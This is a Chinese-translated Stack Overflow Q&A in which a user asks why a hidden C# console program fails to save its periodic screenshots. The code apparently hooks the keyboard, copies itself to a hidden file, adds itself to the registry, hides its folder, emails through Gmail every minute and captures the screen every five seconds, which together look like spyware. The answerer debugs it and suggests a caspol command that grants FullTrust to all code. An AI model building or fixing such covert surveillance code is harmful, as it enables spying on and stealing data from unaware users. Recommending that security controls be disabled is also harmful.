【问题标题】:C# console not taking screenshotC#控制台不截图
【发布时间】:2017-03-20 02:45:56
【问题描述】:

我正在尝试让我的应用程序截取屏幕截图并将其保存在文件夹中,但是除了将屏幕截图保存到文件夹中之外,一切正常。

编辑:以管理员身份运行

编辑 2:更改为文档后,文件夹已创建,但仍不保存任何屏幕截图。仍然没有错误..

编辑 3:

我解决了我的问题,我猜我的 2 个计时器互相干扰了.. 嗯,那个..

"Application.Run();"

我在两个计时器中都有那个位。一旦我将其注释掉,它就可以正常工作。参见代码示例。

Hook();
        if (File.Exists(dest) == false)
        {
            File.Copy(StartupPath(), dest, true);
            File.SetAttributes(dest, FileAttributes.Hidden);
            AddToReg();
        }

         if (Directory.Exists(fsc) == false)
         {
         DirectoryInfo di = Directory.CreateDirectory(fsc);
         di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
         }


        System.Timers.Timer myTimer = new System.Timers.Timer();
        myTimer.Elapsed += new ElapsedEventHandler(Program.sendEMailThroughGmail);
        myTimer.Interval = 60000; //30 mins 1800000
        myTimer.Enabled = true;
        myTimer.AutoReset = true;
        myTimer.Start();
        //Application.Run();
        GC.KeepAlive(myTimer);


        System.Timers.Timer scTimer = new System.Timers.Timer();
        scTimer.Elapsed += new ElapsedEventHandler(Program.Screenshot);
        scTimer.Interval = 5000;
        scTimer.Enabled = true;            
        scTimer.AutoReset = true;
        scTimer.Start();
        Application.Run();
        GC.KeepAlive(scTimer);

        UnHook();

仍然无法将文件保存到 windows 文件夹的问题。

更新事件

public static void Screenshot(Object source, ElapsedEventArgs e)
     {
         Random random = new Random();
         try
         {

            Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
            using (Graphics g = Graphics.FromImage(bmp))
            {
                int number = random.Next(1000000);
                int screenwidth = Screen.GetBounds(new Point(0, 0)).Width;
                int screenheight = Screen.GetBounds(new Point(0, 0)).Height;
                g.CopyFromScreen(0, 0, 0, 0, new Size(screenwidth, screenheight));
                bmp.Save(fsc + number + ".jpg", ImageFormat.Jpeg);
                Console.WriteLine("Saved image" + number);
            }

        }
         catch (Exception ep)
         {
             Console.WriteLine("failed to capture screenshot with the following error:");
             Console.WriteLine(ep.Message);
         }

     }

现在创建屏幕截图并将其保存到“我的文档”内的文件夹中。

谢谢!

仍然希望能够将文件夹和文件保存在 Windows 文件夹中,但可能是一个更大的问题,然后我现在准备处理。

【问题讨论】:

  • 那么您的Screenshot 方法运行了吗?尝试使用图像程序 (mspaint) 将任何图像保存到该文件夹​​,看看是否可以将图像保存在那里。
  • @JohanP 嗯,不允许我保存在文件夹中。但我是管理员?
  • 您使用的是什么操作系统? Win10?
  • 是的 windows 10,编辑:文件夹是只读的我改变了它,可以将 mspaint 文件保存到它。编辑:退出后保持只读..?
  • 我在家里也有同样的问题。如果我将任何内容复制粘贴到我的c: 驱动器,它会提示我“允许”将其粘贴到那里,因为这需要管理员访问权限,即使我是管理员。只需找到一个可以保存并使用它的文件夹即可。

标签: c# screenshot


【解决方案1】:

我尝试了您的代码(.net 4.6、windows 7),但出现错误(在 catch 块中捕获)“GDI+ 中发生一般错误。”。那个字符串连接(number + ".jpg 部分)对我来说有点可疑,所以我尝试了一些事情:

1) 确保目标文件夹存在,然后写入它(代码有点长,但我希望它更容易理解):

//after gfx.CopyFromScreen....
string destinationPath = @"c:\windows\screenshots";
string destinationFileName = string.Format("{0}.{1}", number, "jpg");
if (!Directory.Exists(destinationPath))
    Directory.CreateDirectory(destinationPath);
string destinationFileAndPath = Path.Combine(destinationPath, destinationFileName);
bmpScreenshot.Save(destinationFileAndPath, ImageFormat.Jpeg);

2) 尝试保存到应用程序的启动文件夹。

//after gfx.CopyFromScreen....
string destinationFileName = string.Format("{0}.{1}", number, "jpg");
string destinationFileAndPath = Path.Combine(Application.StartupPath, destinationFileName);
bmpScreenshot.Save(destinationFileAndPath, ImageFormat.Jpeg);

这两种解决方案都对我有用。

我无法重现您的场景,但我猜 bitmap.Save(出于某种原因)无法写入指定文件夹。或者那个文件夹不存在:)

还有第三种可能的解决方案——允许所有代码在计算机上执行以抑制所有安全问题。

导航到Start -> Visual Studio 2015 -> Visual Studio Tools -> Developer Command Prompt 并在那里执行以下命令:

caspol -u -ag All_Code -url c:\windows\* FullTrust

之后,重新启动您的应用程序(或者可能是您的计算机),然后重试。 再一次,这些都是猜测,但也许有些东西可以帮助你。

【讨论】:

  • 谢谢,但是在尝试了这些之后,同样的问题仍然存在。文件夹已创建,我可以手动将文件保存到文件夹中,但仍然无法获取任何屏幕截图。
  • @Adam,甚至不是 2,保存在应用程序的文件夹中?
  • 甚至不在应用程序文件夹中。 Luaan 可能正在做一些事情,它不是从屏幕截图写入控制台。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2012-10-21
  • 1970-01-01
  • 2021-10-26
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多